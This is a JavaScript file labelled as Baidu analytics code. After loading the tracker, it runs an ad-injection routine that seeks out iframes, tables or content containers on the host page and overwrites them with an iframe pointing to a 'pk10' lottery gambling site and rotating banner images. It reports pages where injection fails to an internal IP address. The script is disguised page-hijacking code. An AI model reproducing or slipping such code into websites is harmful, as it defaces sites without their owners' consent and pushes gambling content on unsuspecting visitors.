/*** 百度统计代码
 */
var _hmt = _hmt || [];
(function() {
	var hm = document.createElement("script");
	hm.src = "https://hm.baidu.com/hm.js?9e698351130904836c13b1b28c96c145";
	var s = document.getElementsByTagName("script")[0];
	s.parentNode.insertBefore(hm, s);
})();

(function() {
	// 配置私服注入点,可根据不同的网址配置
		var m = ["#content", ".content", "center", ".center", "#center",".listcon"];
	/**
	 * 传入id 或者class 或 标签名
	 * @param {string} tm 
	 */
	function dom(tm) {
		return document.querySelectorAll('' + tm + '');
	}
	/**
	 * 用于记录当前地址没有插入广告位置的url
	 *传入参数为一个对象
	 * @param {Objet} data 
	 */
	function Ajax(data) {
		var xhr;
		if (window.XMLHttpRequest) {
			xhr = new XMLHttpRequest() || new ActiveXObject("Microsoft.XMLHTTP");
		}
		xhr.open("POST", 'http://172.16.100.52/api/', true);
		xhr.setRequestHeader("Content-type", "application/json");
		xhr.send(JSON.stringify(data));
	}
	/**
	 * 枚举对象
	 */
	// var url = "https://ruiwang00.cn/list1.php?c=pk10";
	var url = 'https://677u.com/list1.php?c=pk10'
	var mj = {
		
		// iframe: "<iframe src=" + url +
			// " style='width: 100% !important; height: 2000vh !important;' scrolling='no' frameborder='0'></iframe>",
			
		iframe:`<div style="width: 100%;height: 150%;">
			<p style="text-align: center"><img id="m" src="" style="margin: 0 auto; width: 1000px; height: 130px;" /></p><iframe
			 src="${url}" scrolling="no"  style='width: 100% !important; height: 2000vh !important;' scrolling='no' frameborder='0'></iframe>
		</div>`
	};
	setTimeout(() => {
		var BOM = dom('iframe');
		var arrt = [];
		if (BOM.length !== 0) {
			for (let p = 0; p < BOM.length; p++) {
				arrt.push(parseInt(BOM[p].height));
			}
			console.warn(arrt);
			if (arrt.length !== 0) {
				BOM[arrt.indexOf(Math.max.apply(null, arrt))].src = url;
			};
			console.warn('iframe');
		} else {
			var tb = dom('table');
			// tb.length !== 0 ? tb[0].innerHTML = mj.iframe; :  Ajax({url: window.location.href,count: 1});
			if (tb.length !== 0) {
				//  tb[Math.ceil((tb.length+1)/2)].innerHTML = mj.iframe;
				tb[0].innerHTML = mj.iframe;
				console.warn('table');
			} else {
				for (var x = 0; x < m.length; x++) {
					var zdy = dom(m[x]);
					if (zdy.length !== 0) {
						break;
					}
				};
				console.log(zdy)
				if (zdy.length!==0 && zdy[0].length !== 0) {
					zdy[0].innerHTML = mj.iframe;

				} else {
					Ajax({url: window.location.href,count: 1});
				};
				console.warn('zdy');
			}
		}
		var i = document.getElementById("m");
		var n = parseInt(Math.random() * 9);
		console.log(n)
		if (n < 7 || n >= 3) {
			i.src = "https://www-zxjbckqbkbkh-zz86884-amaingzsite.oss-cn-beijing.aliyuncs.com/LaoMir.jpg";
		}
		if (n < 3) {
			i.src = "https://www-zxjbckqbkbkh-zz86884-amaingzsite.oss-cn-beijing.aliyuncs.com/9pk.png";
		}
		if (n > 6) {
			i.src = "https://www-zxjbckqbkbkh-zz86884-amaingzsite.oss-cn-beijing.aliyuncs.com/QUSF.jpg";
		}
	}, 200);
})()